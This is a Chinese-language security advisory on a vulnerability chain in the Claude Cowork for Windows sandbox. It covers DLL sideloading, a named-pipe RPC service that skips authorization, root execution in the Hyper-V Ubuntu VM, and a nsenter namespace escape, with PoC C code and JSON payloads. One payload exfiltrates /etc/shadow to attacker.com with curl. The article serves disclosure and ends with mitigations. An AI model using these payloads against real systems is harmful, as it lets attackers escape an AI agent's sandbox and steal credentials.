1. 簡介

大型語言模型整合至桌面環境後,帶來了新的攻擊面,特別是透過本地沙箱虛擬機器執行程式碼的機制。報告探討在 Claude Cowork for Windows 環境中識別出的特定漏洞鏈,該漏洞鏈結合 DLL 側載攻擊與不安全的 RPC 處理,使具有本地執行權限的攻擊者能在 Hyper-V 隔離的 Ubuntu VM 內提升至 root 權限。透過操控 RPC 參數,攻擊者可繞過身分的驗證機制,達成不受限制的網路對外連線,並完全控制 guest VM 的 namespaces。

Claude Cowork 的 RPC 服務認證沒問題?DLL 側載直接繞過 Hyper-V 讓你 root 被偷走! | 資訊安全新聞

2. 架構概述

Windows 上的 Claude Cowork 沙箱採用多層縱深防禦策略,包含 Hyper-V 隔離的 Ubuntu VM、Authenticode 閘道的 named-pipe RPC,以及 Linux 層級的保護措施(如 bubblewrap namespaces 與 seccomp 過濾器)。主機應用程式與 VM 之間的通訊由 CoworkVMService (一個 Local System 服務)負責轉送,該服務處理基於 JSON 的 RPC 請求。

2.1 通訊順序分析

下圖說明了預期的通訊流程,以及透過注入惡意 RPC Payload 而導致安全邊界被破壞的環節。

sequenceDiagram participant A as Malicious DLL (Sideloaded) participant S as CoworkVMService (Host) participant D as sdk-daemon (Ubuntu VM) participant B as bubblewrap (Sandbox) A->>S: Connect to \\.\pipe\cowork-vm-service Note over S: Validates Authenticode Signature S->>A: Connection Accepted (Authenticated) A->>S: RPC spawn {isResume: true, allowedDomains: ["*"]} S->>D: Forward JSON payload verbatim D->>B: Execute command as UID 0 (Root) B->>D: Access host VM namespaces via nsenter

3. 漏洞分析

3.1 透過 USERENV.dll 進行 DLL 側載攻擊

初始進入點涉及 DLL 側載攻擊,此技術是誘使已簽署的可執行檔從其本地目錄載入惡意程式庫。在此案例中, claude.exe 被發現匯入 USERENV.dll GetUserProfileDirectoryW 函式。由於應用程式在搜尋系統目錄之前會先搜尋本地目錄,攻擊者可以放置 Proxy DLL 來攔截執行流程,同時保留父處理程序有效的 Authenticode 簽章,這對後續的 RPC 身分驗證至關重要。

  1. // *
  2. // * Program 1: Named Pipe Connection PoC
  3. // * This snippet demonstrates the initial connection to the Cowork service.
  4. // * The use of CreateFileA to open the named pipe is the first step
  5. // * in the exploit chain after successful sideloading.
  6. // *
  7. #include <windows.h>
  8. #include <stdio.h>
  9. #define PIPE_NAME "\\\\.\\pipe\\cowork-vm-service"
  10. static HANDLE pipe_connect(void) {
  11. // Attempting to open the named pipe for bidirectional communication
  12. return CreateFileA(
  13. PIPE_NAME,
  14. GENERIC_READ | GENERIC_WRITE,
  15. 0, NULL,
  16. OPEN_EXISTING,
  17. 0, NULL
  18. );
  19. }

3.2 RPC 訊息框架

CoworkVMService 的通訊需要特定的框架協定。訊息前面會加上 4 位元組的 big-endian 長度標頭,後面接著 JSON Payload。下方程式碼片段說明攻擊者如何建構這些框架來與服務互動。

  1. // *
  2. // * Program 2: RPC Payload Framing
  3. // * Encapsulates the JSON request with a 4-byte big-endian length header.
  4. // * This is required for the service to correctly parse the RPC message.
  5. // *
  6. static BOOL pipe_send(HANDLE h, const char *json) {
  7. DWORD len = (DWORD)strlen(json);
  8. unsigned char header = {
  9. (unsigned char)((len >> 24) & 0xFF),
  10. (unsigned char)((len >> 16) & 0xFF),
  11. (unsigned char)((len >> 8) & 0xFF),
  12. (unsigned char)((len & 0xFF))
  13. };
  14. DWORD written;
  15. // Sending the 4-byte header followed by the actual JSON body
  16. if (!WriteFile(h, header, 4, &written, NULL) || written != 4) return FALSE;
  17. if (!WriteFile(h, json, len, &written, NULL) || written != len) return FALSE;
  18. return TRUE;
  19. }

3.3 透過參數操控進行沙箱逃逸

關鍵的失效點發生在 CoworkVMService ,它執行了身分驗證(檢查連線處理程序的 Authenticode 簽章),但未對 RPC 內容進行授權檢查或清理。透過模糊測試發現 spawn 方法中的兩個參數會覆寫預設的安全限制: isResume allowedDomains

isResume 設為 true 時,VM 內部的 sdk-daemon 會略過建立新的非特權使用者,而是以現有使用者(在此環境下為 root ,UID 0)身分執行命令。此外,將 allowedDomains 設為 ["*"] 會停用 egress proxy 的網域允許清單,讓攻擊者可從 VM 內不受限制地存取網際網路。

  1. {
  2. // *
  3. // * Program 3: Malicious JSON Payload for Root Execution
  4. // * This payload triggers the vulnerability by setting 'isResume' to true,
  5. // * which bypasses unprivileged user isolation and runs the command as root.
  6. // *
  7. "method": "spawn",
  8. "params": {
  9. "command": "bash",
  10. "args": ["-c", "id; grep Cap /proc/self/status; cat /proc/attr/current"],
  11. "name": "root",
  12. "id": "root-poc",
  13. "isResume": true
  14. }
  15. }

4. 進階利用:命名空間逃逸(Namespace Escape)

bubblewrap 沙箱中取得 root 權限已屬重大突破,但漏洞利用的最終目標是徹底脫離容器化環境。由於 isResume: true 旗標會導致 PID 1(即 sdk-daemon )可見,攻擊者可使用 nsenter 命令進入主機 VM 的 namespaces,進而完全存取 VM 的檔案系統、所有執行中的處理程序,並能修改磁碟上的安全過濾器(如 seccomp BPF)。

  1. {
  2. // *
  3. // * Program 4: Full Escape and Exfiltration Payload
  4. // * This payload combines root execution, network bypass, and namespace escape.
  5. // * It uses 'nsenter' to break out of the bubblewrap sandbox and 'curl'
  6. // * to exfiltrate sensitive files via the unblocked network.
  7. // *
  8. "method": "spawn",
  9. "params": {
  10. "command": "bash",
  11. "args": ["-c", "nsenter -t 1 -p -m -u -i -n -- curl http://attacker.com/$(cat /etc/shadow | base64 -w0)"],
  12. "name": "root",
  13. "id": "full-escape",
  14. "isResume": true,
  15. "allowedDomains": ["*"]
  16. }
  17. }

5. 防禦與比較分析

此漏洞凸顯了現代安全架構中的常見缺失:過度依賴「身分」(誰在呼叫)而非「能力」(呼叫了什麼)。雖然沙箱堆疊(Hyper-V、 bubblewrap seccomp )在單獨運作時相當穩固,但管理介面(RPC 服務)建立了繞過機制,使這些防護層形同虛設。

與其他基於 DLL 的利用技術類似,緩解策略包括限制敏感應用程式的執行環境。例如,使用 AppLocker 或封裝應用程式規則來限制可執行 Claude Desktop 套件的群組,以縮小攻擊面。此外,可設定 Sysmon 等監控工具,偵測標準系統目錄外的可疑 DLL 載入,特別針對非預期路徑中 USERENV.dll 載入的 Event ID 7 進行監控。

6. 結論

對 Claude Cowork 沙箱的研究顯示,即便是高度複雜的虛擬化安全措施,若控制介面未妥善防護,仍可能被規避。透過利用未記載的 RPC 參數「悄然」以 root 身分執行程式碼,突顯了對管理服務進行嚴謹模糊測試的重要性。隨著 AI 驅動的生產力工具持續採用複雜的本地 VM 架構,防禦者必須確保主機與來賓環境之間的轉換介面,不會成為系統性淪陷的沉默途徑。